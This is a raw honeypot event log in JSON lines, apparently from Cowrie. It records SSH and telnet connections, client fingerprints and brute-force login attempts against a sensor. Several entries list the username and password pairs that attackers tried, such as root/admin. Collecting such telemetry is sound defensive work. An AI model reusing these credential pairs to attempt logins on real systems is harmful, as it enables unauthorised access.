{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:49.117761Z","src_ip":"103.75.84.237","session":"c40da2958524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35608,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ebc8002f346","protocol":"telnet","message":"New connection: 64.227.101.30:35608 (10.17.0.5:23) [session: 9ebc8002f346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:49.183581Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53520,"dst_ip":"10.17.0.5","dst_port":23,"session":"3663b7fc2608","protocol":"telnet","message":"New connection: 64.227.101.30:53520 (10.17.0.5:23) [session: 3663b7fc2608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:49.333699Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:49.895211Z","src_ip":"103.75.84.237","session":"c40da2958524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53284,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d3ed323b93f","protocol":"telnet","message":"New connection: 64.227.101.30:53284 (10.17.0.5:23) [session: 5d3ed323b93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:49.938168Z"}
{"eventid":"cowrie.session.closed","duration":0.008379459381103516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:49.946358Z","src_ip":"64.227.101.30","session":"5d3ed323b93f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":42298,"dst_ip":"159.203.135.109","dst_port":23,"session":"87e0d24c26bc","protocol":"telnet","message":"New connection: 74.208.239.44:42298 (159.203.135.109:23) [session: 87e0d24c26bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:51.113082Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60954,"dst_ip":"159.203.135.109","dst_port":23,"session":"09f23cd20d9b","protocol":"telnet","message":"New connection: 161.97.105.174:60954 (159.203.135.109:23) [session: 09f23cd20d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:51.269040Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60968,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e264c0f4562","protocol":"telnet","message":"New connection: 161.97.105.174:60968 (159.203.135.109:23) [session: 1e264c0f4562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:54.137304Z"}
{"eventid":"cowrie.session.closed","duration":63.397132873535156,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:54.452533Z","src_ip":"64.227.101.30","session":"290a3afc8daf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":45770,"dst_ip":"159.203.135.109","dst_port":22,"session":"afa3e1f02a35","protocol":"ssh","message":"New connection: 200.118.150.20:45770 (159.203.135.109:22) [session: afa3e1f02a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:54.707284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:54.838291Z","src_ip":"200.118.150.20","session":"afa3e1f02a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37702,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c1c086bacd3","protocol":"telnet","message":"New connection: 64.227.101.30:37702 (10.17.0.5:23) [session: 4c1c086bacd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:54.853064Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:54.927043Z","src_ip":"200.118.150.20","session":"afa3e1f02a35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1qaz","message":"login attempt [ftpuser/1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:55.326689Z","src_ip":"200.118.150.20","session":"afa3e1f02a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37052,"dst_ip":"10.17.0.5","dst_port":23,"session":"89511db8f5e4","protocol":"telnet","message":"New connection: 64.227.101.30:37052 (10.17.0.5:23) [session: 89511db8f5e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:55.612382Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:56.423097Z","src_ip":"200.118.150.20","session":"afa3e1f02a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37368,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1096defbccd","protocol":"telnet","message":"New connection: 64.227.101.30:37368 (10.17.0.5:23) [session: a1096defbccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:57.892207Z"}
{"eventid":"cowrie.session.closed","duration":35.05099296569824,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:00.146898Z","src_ip":"64.227.101.30","session":"81906b04625b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39990,"dst_ip":"10.17.0.5","dst_port":23,"session":"195d573c061d","protocol":"telnet","message":"New connection: 64.227.101.30:39990 (10.17.0.5:23) [session: 195d573c061d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:00.945420Z"}
{"eventid":"cowrie.session.closed","duration":37.956342697143555,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:01.030071Z","src_ip":"64.227.101.30","session":"0915a7e7d5b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":48480,"dst_ip":"159.203.135.109","dst_port":23,"session":"70958d96997b","protocol":"telnet","message":"New connection: 74.208.239.44:48480 (159.203.135.109:23) [session: 70958d96997b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:01.075932Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40386,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1c3248ff94c","protocol":"telnet","message":"New connection: 64.227.101.30:40386 (10.17.0.5:23) [session: b1c3248ff94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:01.967884Z"}
{"eventid":"cowrie.session.closed","duration":79.69328451156616,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:02.505249Z","src_ip":"64.227.101.30","session":"08e1f75f2473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.955649852752686,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:03.096995Z","src_ip":"161.97.105.174","session":"b9b29530414c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":51116,"dst_ip":"159.203.135.109","dst_port":23,"session":"542a51195b1e","protocol":"telnet","message":"New connection: 74.208.239.44:51116 (159.203.135.109:23) [session: 542a51195b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:04.875517Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41758,"dst_ip":"10.17.0.5","dst_port":23,"session":"44e8d32e04f6","protocol":"telnet","message":"New connection: 64.227.101.30:41758 (10.17.0.5:23) [session: 44e8d32e04f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:05.648302Z"}
{"eventid":"cowrie.session.closed","duration":62.1237051486969,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:06.426356Z","src_ip":"64.227.101.30","session":"624eedce43ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":52930,"dst_ip":"159.203.135.109","dst_port":23,"session":"40403c4b3c32","protocol":"telnet","message":"New connection: 74.208.239.44:52930 (159.203.135.109:23) [session: 40403c4b3c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:07.755208Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48392,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf2c880e6098","protocol":"telnet","message":"New connection: 161.97.105.174:48392 (159.203.135.109:23) [session: bf2c880e6098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:11.221975Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43696,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f4aca07a4c7","protocol":"telnet","message":"New connection: 64.227.101.30:43696 (10.17.0.5:23) [session: 1f4aca07a4c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:11.463252Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":41298,"dst_ip":"10.17.0.5","dst_port":22,"session":"27eff03bd645","protocol":"ssh","message":"New connection: 103.170.173.26:41298 (10.17.0.5:22) [session: 27eff03bd645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:11.498331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:11.503571Z","src_ip":"103.170.173.26","session":"27eff03bd645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:11.776627Z","src_ip":"103.170.173.26","session":"27eff03bd645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wasuser","password":"wasuser","message":"login attempt [wasuser/wasuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:12.901831Z","src_ip":"103.170.173.26","session":"27eff03bd645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44860,"dst_ip":"10.17.0.5","dst_port":23,"session":"272b9312084f","protocol":"telnet","message":"New connection: 64.227.101.30:44860 (10.17.0.5:23) [session: 272b9312084f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:13.099084Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:14.177991Z","src_ip":"103.170.173.26","session":"27eff03bd645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.428499460220337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:14.242430Z","src_ip":"74.208.239.44","session":"e21d2585df48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":56882,"dst_ip":"159.203.135.109","dst_port":23,"session":"04a48c8a85cf","protocol":"telnet","message":"New connection: 74.208.239.44:56882 (159.203.135.109:23) [session: 04a48c8a85cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:15.003911Z"}
{"eventid":"cowrie.session.closed","duration":36.93627142906189,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:15.986452Z","src_ip":"64.227.101.30","session":"b74911f3d664","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":57574,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc0e97e84052","protocol":"telnet","message":"New connection: 74.208.239.44:57574 (159.203.135.109:23) [session: fc0e97e84052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:16.007635Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48404,"dst_ip":"159.203.135.109","dst_port":23,"session":"329eee7af6b7","protocol":"telnet","message":"New connection: 161.97.105.174:48404 (159.203.135.109:23) [session: 329eee7af6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:16.282415Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":12706,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c0240c18cbe","protocol":"ssh","message":"New connection: 94.156.152.18:12706 (10.17.0.5:22) [session: 4c0240c18cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:17.888751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:17.894252Z","src_ip":"94.156.152.18","session":"4c0240c18cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:18.016967Z","src_ip":"94.156.152.18","session":"4c0240c18cbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"VpsPutr4Official","message":"login attempt [root/VpsPutr4Official] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:18.386682Z","src_ip":"94.156.152.18","session":"4c0240c18cbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":59914,"dst_ip":"159.203.135.109","dst_port":23,"session":"740d98f6fdf3","protocol":"telnet","message":"New connection: 74.208.239.44:59914 (159.203.135.109:23) [session: 740d98f6fdf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:19.063239Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:19.512669Z","src_ip":"94.156.152.18","session":"4c0240c18cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.667553186416626,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:19.694873Z","src_ip":"64.227.101.30","session":"94581759a647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":54598,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0366f652ed9","protocol":"telnet","message":"New connection: 161.97.105.174:54598 (159.203.135.109:23) [session: f0366f652ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:20.079191Z"}
{"eventid":"cowrie.session.closed","duration":41.2297043800354,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:21.846461Z","src_ip":"161.97.105.174","session":"5853b051981d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.141416788101196,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:22.324854Z","src_ip":"64.227.101.30","session":"9ebc8002f346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311338663101196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:22.424289Z","src_ip":"74.208.239.44","session":"87e0d24c26bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35528,"dst_ip":"10.17.0.5","dst_port":23,"session":"14e7dc968faa","protocol":"telnet","message":"New connection: 64.227.101.30:35528 (10.17.0.5:23) [session: 14e7dc968faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:24.017249Z"}
{"eventid":"cowrie.session.closed","duration":0.006718635559082031,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:24.023663Z","src_ip":"64.227.101.30","session":"14e7dc968faa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.247132539749146,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:24.516047Z","src_ip":"161.97.105.174","session":"09f23cd20d9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":37540,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a3aba53aff4","protocol":"telnet","message":"New connection: 74.208.239.44:37540 (159.203.135.109:23) [session: 3a3aba53aff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:25.995119Z"}
{"eventid":"cowrie.session.closed","duration":32.315123558044434,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:26.452281Z","src_ip":"161.97.105.174","session":"1e264c0f4562","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58016,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fe32f0e8ee7","protocol":"telnet","message":"New connection: 161.97.105.174:58016 (159.203.135.109:23) [session: 6fe32f0e8ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:28.559934Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51520,"dst_ip":"10.17.0.5","dst_port":23,"session":"be4a92106173","protocol":"telnet","message":"New connection: 64.227.101.30:51520 (10.17.0.5:23) [session: be4a92106173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:29.091414Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":40354,"dst_ip":"159.203.135.109","dst_port":23,"session":"77101917d417","protocol":"telnet","message":"New connection: 74.208.239.44:40354 (159.203.135.109:23) [session: 77101917d417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:29.272112Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":32695,"dst_ip":"159.203.135.109","dst_port":22,"session":"c84c714b1dfa","protocol":"ssh","message":"New connection: 220.247.224.226:32695 (159.203.135.109:22) [session: c84c714b1dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:29.391593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:29.416642Z","src_ip":"220.247.224.226","session":"c84c714b1dfa","protocol":"ssh"}
